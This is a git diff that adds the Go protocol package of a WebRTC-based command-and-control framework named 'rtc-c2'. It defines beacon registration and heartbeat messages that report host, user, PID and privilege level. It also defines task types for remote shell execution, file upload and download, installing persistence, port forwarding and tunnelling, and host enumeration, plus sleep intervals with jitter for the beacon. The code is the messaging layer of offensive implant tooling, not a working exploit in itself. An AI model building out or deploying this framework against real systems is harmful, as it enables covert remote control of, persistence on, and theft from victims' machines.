diff --git a/rtc-c2/pkg/protocol/message.go b/rtc-c2/pkg/protocol/message.go new file mode 100644 index 0000000..2d9fe27 --- /dev/null +++ b/rtc-c2/pkg/protocol/message.go @@ -0,0 +1,119 @@ +// Package protocol defines the C2 message format, task types, and crypto layer +// that runs over the WebRTC data channel transport. +package protocol + +import ( + "crypto/rand" + "encoding/hex" + "encoding/json" + "fmt" + "time" +) + +// MessageType indicates the kind of C2 message. +type MessageType string + +const ( + MsgHeartbeat MessageType = "heartbeat" + MsgTask MessageType = "task" + MsgTaskResult MessageType = "task_result" + MsgTunnelOpen MessageType = "tunnel_open" + MsgTunnelData MessageType = "tunnel_data" + MsgTunnelClose MessageType = "tunnel_close" + MsgRegister MessageType = "register" + MsgError MessageType = "error" + MsgShutdown MessageType = "shutdown" + MsgPing MessageType = "ping" + MsgPong MessageType = "pong" +) + +// Envelope is the outer wrapper for all C2 messages. +type Envelope struct { + Type MessageType `json:"type"` + ID string `json:"id"` + Timestamp int64 `json:"ts"` + SenderID string `json:"sender"` + Payload json.RawMessage `json:"payload,omitempty"` +} + +// NewEnvelope creates a new message envelope with a random ID. +func NewEnvelope(msgType MessageType, senderID string, payload interface{}) (*Envelope, error) { + id := generateID() + + var raw json.RawMessage + if payload != nil { + data, err := json.Marshal(payload) + if err != nil { + return nil, fmt.Errorf("protocol: marshal payload: %w", err) + } + raw = data + } + + return &Envelope{ + Type: msgType, + ID: id, + Timestamp: time.Now().UnixMilli(), + SenderID: senderID, + Payload: raw, + }, nil +} + +// Serialize returns the JSON-encoded envelope. +func (e *Envelope) Serialize() ([]byte, error) { + return json.Marshal(e) +} + +// ParseEnvelope decodes a JSON-encoded envelope. +func ParseEnvelope(data []byte) (*Envelope, error) { + var env Envelope + if err := json.Unmarshal(data, &env); err != nil { + return nil, fmt.Errorf("protocol: parse envelope: %w", err) + } + return &env, nil +} + +// ExtractPayload deserializes the payload into the given type. +func (e *Envelope) ExtractPayload(v interface{}) error { + if len(e.Payload) == 0 { + return nil + } + return json.Unmarshal(e.Payload, v) +} + +// HeartbeatPayload is sent by the beacon to indicate it's alive. +type HeartbeatPayload struct { + BeaconID string `json:"beacon_id"` + Hostname string `json:"hostname"` + Username string `json:"username"` + OS string `json:"os"` + Arch string `json:"arch"` + PID int `json:"pid"` + Uptime int64 `json:"uptime"` + PrevTaskID string `json:"prev_task_id,omitempty"` +} + +// RegisterPayload is sent when a beacon first connects. +type RegisterPayload struct { + BeaconID string `json:"beacon_id"` + Hostname string `json:"hostname"` + Username string `json:"username"` + OS string `json:"os"` + Arch string `json:"arch"` + PID int `json:"pid"` + Elevated bool `json:"elevated"` + PublicIP string `json:"public_ip,omitempty"` + Capabilities []string `json:"capabilities"` +} + +// ErrorPayload carries error information. +type ErrorPayload struct { + Code int `json:"code"` + Message string `json:"message"` + TaskID string `json:"task_id,omitempty"` +} + +func generateID() string { + b := make([]byte, 12) + rand.Read(b) + return hex.EncodeToString(b) +} diff --git a/rtc-c2/pkg/protocol/task.go b/rtc-c2/pkg/protocol/task.go new file mode 100644 index 0000000..f95f2cc --- /dev/null +++ b/rtc-c2/pkg/protocol/task.go @@ -0,0 +1,128 @@ +package protocol + +import ( + "encoding/json" + "fmt" + "time" +) + +// TaskType identifies the command to execute on the beacon. +type TaskType string + +const ( + // Execution + TaskExec TaskType = "exec" // Execute a shell command + TaskExecPty TaskType = "exec_pty" // Execute in a PTY + TaskUpload TaskType = "upload" // Upload a file to beacon + TaskDownload TaskType = "download" // Download a file from beacon + TaskLs TaskType = "ls" // List directory + TaskPs TaskType = "ps" // List processes + + // Persistence + TaskInstall TaskType = "install" // Install persistence mechanism + + // Networking + TaskTunnelConnect TaskType = "tunnel_connect" // Connect TCP through tunnel + TaskPortFwd TaskType = "port_fwd" // Port forwarding (reverse) + TaskWhoami TaskType = "whoami" // Get identity + + // Information + TaskInfo TaskType = "info" // Get system info + TaskNetstat TaskType = "netstat" // Network connections + TaskEnv TaskType = "env" // Environment variables + TaskEnumHost TaskType = "enum_host" // Host enumeration + + // Beacon control + TaskSleep TaskType = "sleep" // Set beacon sleep interval + TaskExit TaskType = "exit" // Terminate beacon + TaskUpdate TaskType = "update" // Update beacon binary + +) // end TaskType constants + +// Task represents a single C2 task sent to a beacon. +type Task struct { + ID string `json:"id"` + Type TaskType `json:"type"` + Args json.RawMessage `json:"args,omitempty"` + Timeout int `json:"timeout,omitempty"` // seconds + CreatedAt int64 `json:"created_at"` +} + +// NewTask creates a new task with the given type and arguments. +func NewTask(taskType TaskType, args interface{}) (*Task, error) { + var raw json.RawMessage + if args != nil { + data, err := json.Marshal(args) + if err != nil { + return nil, fmt.Errorf("task: marshal args: %w", err) + } + raw = data + } + + return &Task{ + ID: generateID(), + Type: taskType, + Args: raw, + Timeout: 30, + CreatedAt: time.Now().UnixMilli(), + }, nil +} + +// TaskResult is the response from a beacon after executing a task. +type TaskResult struct { + TaskID string `json:"task_id"` + Success bool `json:"success"` + Output string `json:"output,omitempty"` + Error string `json:"error,omitempty"` + ExitCode int `json:"exit_code,omitempty"` + Duration int64 `json:"duration_ms"` + Timestamp int64 `json:"ts"` +} + +// ExtractArgs deserializes the task arguments into the given type. +func (t *Task) ExtractArgs(v interface{}) error { + if len(t.Args) == 0 { + return nil + } + return json.Unmarshal(t.Args, v) +} + +// --- Typed argument payloads --- + +// ExecArgs carries shell command arguments. +type ExecArgs struct { + Command string `json:"command"` + Args []string `json:"args,omitempty"` + Shell string `json:"shell,omitempty"` // e.g., /bin/bash, powershell.exe +} + +// UploadArgs carries file upload arguments. +type UploadArgs struct { + RemotePath string `json:"remote_path"` + Data string `json:"data"` // base64-encoded + Mode int `json:"mode,omitempty"` +} + +// DownloadArgs carries file download arguments. +type DownloadArgs struct { + RemotePath string `json:"remote_path"` +} + +// SleepArgs sets the beacon's check-in interval. +type SleepArgs struct { + Interval int `json:"interval"` // seconds + Jitter int `json:"jitter,omitempty"` +} + +// LsArgs lists a directory. +type LsArgs struct { + Path string `json:"path"` +} + +// PortFwdArgs sets up port forwarding. +type PortFwdArgs struct { + LocalPort int `json:"local_port"` + RemoteHost string `json:"remote_host"` + RemotePort int `json:"remote_port"` + Protocol string `json:"protocol,omitempty"` // tcp, udp +}